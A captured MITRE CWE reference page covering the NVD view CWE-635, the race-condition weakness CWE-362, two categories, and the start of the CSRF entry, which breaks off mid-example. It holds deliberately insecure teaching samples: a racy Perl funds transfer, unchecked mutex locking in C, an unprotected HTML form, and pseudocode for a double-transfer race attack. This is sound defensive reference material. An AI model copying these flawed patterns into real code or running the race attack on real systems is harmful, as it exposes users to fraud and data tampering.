CWE

Common Weakness Enumeration

A Community-Developed List of Software Weakness Types

CWE/SANS Top 25 Most Dangerous Software Errors
Home > CWE List > VIEW SLICE: CWE-635: Weaknesses Used by NVD (2.11)  
ID

CWE VIEW: Weaknesses Used by NVD

View ID: 635
Structure: Explicit Slice
Status: Draft
Presentation Filter:
+ View Data

View Objective

CWE nodes in this view (slice) were used by NIST to categorize vulnerabilities within NVD, from 2007 to 2016.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
HasMemberCategoryCategory16Configuration
Weaknesses Used by NVD (primary)635
HasMemberWeakness ClassWeakness Class20Improper Input Validation
Weaknesses Used by NVD (primary)635
HasMemberWeakness ClassWeakness Class22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Weaknesses Used by NVD (primary)635
HasMemberWeakness BaseWeakness Base59Improper Link Resolution Before File Access ('Link Following')
Weaknesses Used by NVD (primary)635
HasMemberWeakness BaseWeakness Base78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Weaknesses Used by NVD (primary)635
HasMemberWeakness BaseWeakness Base79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Weaknesses Used by NVD (primary)635
HasMemberWeakness BaseWeakness Base89Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Weaknesses Used by NVD (primary)635
HasMemberWeakness ClassWeakness Class94Improper Control of Generation of Code ('Code Injection')
Weaknesses Used by NVD (primary)635
HasMemberWeakness ClassWeakness Class119Improper Restriction of Operations within the Bounds of a Memory Buffer
Weaknesses Used by NVD (primary)635
HasMemberWeakness BaseWeakness Base134Use of Externally-Controlled Format String
Weaknesses Used by NVD (primary)635
HasMemberCategoryCategory189Numeric Errors
Weaknesses Used by NVD (primary)635
HasMemberWeakness ClassWeakness Class200Information Exposure
Weaknesses Used by NVD (primary)635
HasMemberCategoryCategory255Credentials Management
Weaknesses Used by NVD (primary)635
HasMemberCategoryCategory264Permissions, Privileges, and Access Controls
Weaknesses Used by NVD (primary)635
HasMemberWeakness ClassWeakness Class287Improper Authentication
Weaknesses Used by NVD (primary)635
HasMemberCategoryCategory310Cryptographic Issues
Weaknesses Used by NVD (primary)635
HasMemberCompound Element: CompositeCompound Element: Composite352Cross-Site Request Forgery (CSRF)
Weaknesses Used by NVD (primary)635
HasMemberWeakness ClassWeakness Class362Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Weaknesses Used by NVD (primary)635
HasMemberCategoryCategory399Resource Management Errors
Weaknesses Used by NVD (primary)635
+ References
NIST. "CWE - Common Weakness Enumeration". <http://nvd.nist.gov/cwe.cfm>.
+ Maintenance Notes

This view is effectively obsolete, although it is probably still in active use by CWE consumers.

In Summer 2007, NIST began using this set of CWE elements to classify CVE entries within the National Vulnerability Database (NVD). In 2016, NIST began using a different list as derived from the "Weaknesses for Simplified Mapping of Published Vulnerabilities" view (CWE-1003).

+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Maintenance_Notes, Relationships, References, View_Structure
2017-01-19CWE Content TeamMITREInternal
updated Description, Maintenance_Notes
+ View Metrics
CWEs in this viewTotal CWEs
Total19out of1006
Views0out of33
Categories6out of245
Weaknesses12out of720
Compound_Elements1out of8
View Components
View Components
A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Weakness ID: 362
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.

Extended Description

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.

A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

  • Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.

  • Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

C: (Sometimes)

C++: (Sometimes)

Java: (Sometimes)

Language-independent

Architectural Paradigms

Concurrent Systems Operating on Shared Resources: (Often)

+ Common Consequences
ScopeEffect
Availability

Technical Impact: DoS: resource consumption (CPU); DoS: resource consumption (memory); DoS: resource consumption (other)

When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).

Availability

Technical Impact: DoS: crash / exit / restart; DoS: instability

When a race condition allows multiple control flows to access a resource simultaneously, it might lead the program(s) into unexpected states, possibly resulting in a crash.

Confidentiality
Integrity

Technical Impact: Read files or directories; Read application data

When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).

+ Likelihood of Exploit

Medium

+ Detection Methods

Black Box

Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

White Box

Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Effectiveness: Moderate

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR High

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Framework-based Fuzzer

Cost effective for partial coverage:

  • Fuzz Tester

  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Manual Source Code Review (not inspections)

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

(Bad Code)
Example Language: Perl 
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();

if ($transfer_amount < 0) {
FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");

A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Suppose the balance is initially 100.00. An attack could be constructed as follows:

(Attack)
Example Language: PseudoCode 
The attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Example 2

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(Bad Code)
Example Language:
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);

/* access shared resource */

pthread_mutex_unlock(mutex);
}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

(Good Code)
 
int f(pthread_mutex_t *mutex) {
int result;

result = pthread_mutex_lock(mutex);
if (0 != result)
return result;

/* access shared resource */

return pthread_mutex_unlock(mutex);
}
+ Observed Examples
ReferenceDescription
Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.
Race condition during initialization triggers a buffer overflow.
Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.
chain: race condition triggers NULL pointer dereference
Race condition in library function could cause data to be sent to the wrong process.
Race condition in file parser leads to heap corruption.
chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.
chain: race condition for an argument value, possibly resulting in NULL dereference
chain: race condition might allow resource to be released before operating on it, leading to NULL dereference
+ Potential Mitigations

Phase: Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Phase: Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Phase: Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.

Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

Phase: Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

Phase: Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Phase: Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Phase: Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Phase: Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Phase: Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.362.11]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory361Time and State
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfWeakness ClassWeakness Class691Insufficient Control Flow Management
Research Concepts (primary)1000
ChildOfCategoryCategory743CERT C Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory7512009 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory8012010 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory852CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory8672011 Top 25 - Weaknesses On the Cusp
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard868
ChildOfCategoryCategory882CERT C++ Secure Coding Section 14 - Concurrency (CON)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory988SFP Secondary Cluster: Race Condition Window
Software Fault Pattern (SFP) Clusters (primary)888
RequiredByCompound Element: CompositeCompound Element: Composite61UNIX Symbolic Link (Symlink) Following
Research Concepts1000
RequiredByCompound Element: CompositeCompound Element: Composite689Permission Race Condition During Resource Copy
Research Concepts1000
ParentOfWeakness BaseWeakness Base364Signal Handler Race Condition
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base366Race Condition within a Thread
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base367Time-of-check Time-of-use (TOCTOU) Race Condition
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base368Context Switching Race Condition
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base421Race Condition During Access to Alternate Channel
Development Concepts699
Research Concepts1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
CanFollowWeakness BaseWeakness Base662Improper Synchronization
Development Concepts699
Research Concepts1000
CanAlsoBeCategoryCategory557Concurrency Issues
Research Concepts1000
+ Research Gaps

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERRace Conditions
CERT C Secure CodingFIO31-CDo not simultaneously open the same file multiple times
CERT Java Secure CodingVNA03-JDo not assume that a group of calls to independently atomic methods is atomic
CERT C++ Secure CodingFIO31-CPPDo not simultaneously open the same file multiple times
CERT C++ Secure CodingCON02-CPPUse lock classes for mutex management
+ References
[R.362.1] [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
[R.362.2] Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobb's. 2008-02-01. <http://www.ddj.com/cpp/184403766>.
[R.362.3] Steven Devijver. "Thread-safe webapps using Spring". <http://www.javalobby.org/articles/thread-safe/index.jsp>.
[R.362.4] David Wheeler. "Prevent race conditions". 2007-10-04. <http://www.ibm.com/developerworks/library/l-sprace.html>.
[R.362.5] Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". September 1995. <http://www.cs.ucdavis.edu/research/tech-reports/1995/CSE-95-9.pdf>.
[R.362.6] David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003-03-03. <http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html>.
[R.362.7] Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". April 2002. <http://www.blakewatts.com/namedpipepaper.html>.
[R.362.8] Roberto Paleari, Davide Marrone, Danilo Bruschi and Mattia Monga. "On Race Vulnerabilities in Web Applications". <http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf>.
[R.362.9] "Avoiding Race Conditions and Insecure File Operations". Apple Developer Connection. <http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html>.
[R.362.10] Johannes Ullrich. "Top 25 Series - Rank 25 - Race Conditions". SANS Software Security Institute. 2010-03-26. <http://blogs.sans.org/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/>.
[R.362.11] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
+ Maintenance Notes

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Contributions
Contribution DateContributorOrganizationSource
2010-04-30Martin SeborCisco Systems, Inc. Content
Provided Demonstrative Example
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Relationships
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships, Research_Gaps
2009-03-10CWE Content TeamMITREInternal
updated Demonstrative_Examples, Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Relationships
2010-02-16CWE Content TeamMITREInternal
updated Detection_Factors, References, Relationships
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References
2010-09-27CWE Content TeamMITREInternal
updated Observed_Examples, Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITREInternal
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Potential_Mitigations, References, Relationships
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Race Conditions
2010-12-13Race Condition

CWE CATEGORY: Configuration

Category ID: 16
Status: Draft
+ Description

Description Summary

Weaknesses in this category are typically introduced during the configuration of the software.
+ Detection Methods

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Rebuild & Compare

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Network Vulnerability Scanner – scan for already-known vulnerabilities for specific products

  • Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Cost effective for partial coverage:

  • Network Scanner - id (sub)systems & ports. (what systems are there, ports up? Should they be?)

Effectiveness: SOAR High

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Configuration Checker

Cost effective for partial coverage:

  • Origin Analysis

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Cost effective for partial coverage:

  • Attack Modeling

Effectiveness: SOAR High

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory933OWASP Top Ten 2013 Category A5 - Security Misconfiguration
Weaknesses in OWASP Top Ten (2013) (primary)928
ParentOfCategoryCategory4J2EE Environment Issues
Development Concepts (primary)699
ParentOfCategoryCategory519.NET Environment Issues
Development Concepts (primary)699
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
MemberOfViewView699Development Concepts
Development Concepts (primary)699
MemberOfViewView1003Weaknesses for Simplified Mapping of Published Vulnerabilities
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
WASC14Server Misconfiguration
WASC15Application Misconfiguration
+ Maintenance Notes

This entry is a Category, but various sources map to it anyway, e.g. by NVD, despite CWE guidance that Categories should not be mapped. In this case, there are no clear CWE Weaknesses that can be utilized. "Inappropriate Configuration" might be better described as a Weakness, so this entry might be converted to a Weakness in a later version. Further research is required, however, as a "configuration weakness" might be Primary to many other CWEs, i.e., it might be better described in terms of chaining relationships.

+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Relationships
2010-02-16CWE Content TeamMITREInternal
updated Taxonomy_Mappings
2013-07-17CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Maintenance_Notes, Relationships

CWE CATEGORY: Credentials Management

Category ID: 255
Status: Draft
+ Description

Description Summary

Weaknesses in this category are related to the management of credentials.
+ Applicable Platforms

Languages

All

+ Detection Methods

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Focused Manual Spotcheck - Focused manual analysis of source

Cost effective for partial coverage:

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Attack Modeling

Effectiveness: SOAR High

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory254Security Features
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ParentOfWeakness VariantWeakness Variant261Weak Cryptography for Passwords
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant262Not Using Password Aging
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base263Password Aging with Long Expiration
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base521Weak Password Requirements
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base522Insufficiently Protected Credentials
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant549Missing Password Field Masking
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant620Unverified Password Change
Development Concepts699
ParentOfWeakness BaseWeakness Base640Weak Password Recovery Mechanism for Forgotten Password
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base798Use of Hard-coded Credentials
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2010-02-16CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors
2015-12-07CWE Content TeamMITREInternal
updated Relationships

CWE-352: Cross-Site Request Forgery (CSRF)

Compound Element ID: 352
Abstraction: Variant
Structure: Composite
Status: Draft
Presentation Filter:
+ Description

Description Summary

The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Extended Description

When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.

+ Alternate Terms
Session Riding
Cross Site Reference Forgery
XSRF
+ Time of Introduction
  • Architecture and Design
+ Applicable Platforms

Languages

Language-independent

Technology Classes

Web-Server

+ Common Consequences
ScopeEffect
Confidentiality
Integrity
Availability
Non-Repudiation
Access Control

Technical Impact: Gain privileges / assume identity; Bypass protection mechanism; Read application data; Modify application data; DoS: crash / exit / restart

The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.

+ Likelihood of Exploit

Medium to High

+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.

Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.

Effectiveness: High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis

CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

Effectiveness: Limited

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Web Application Scanner

Effectiveness: SOAR High

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

  • Formal Methods / Correct-By-Construction

Effectiveness: SOAR Partial

+ Demonstrative Examples

Example 1

This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

(Bad Code)
Example Language: HTML 
<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/>
<input type="text" name="lastname"/>
<br/>
<input type="text" name="email"/>
<input type="submit" name="submit" value="Update"/>
</form>

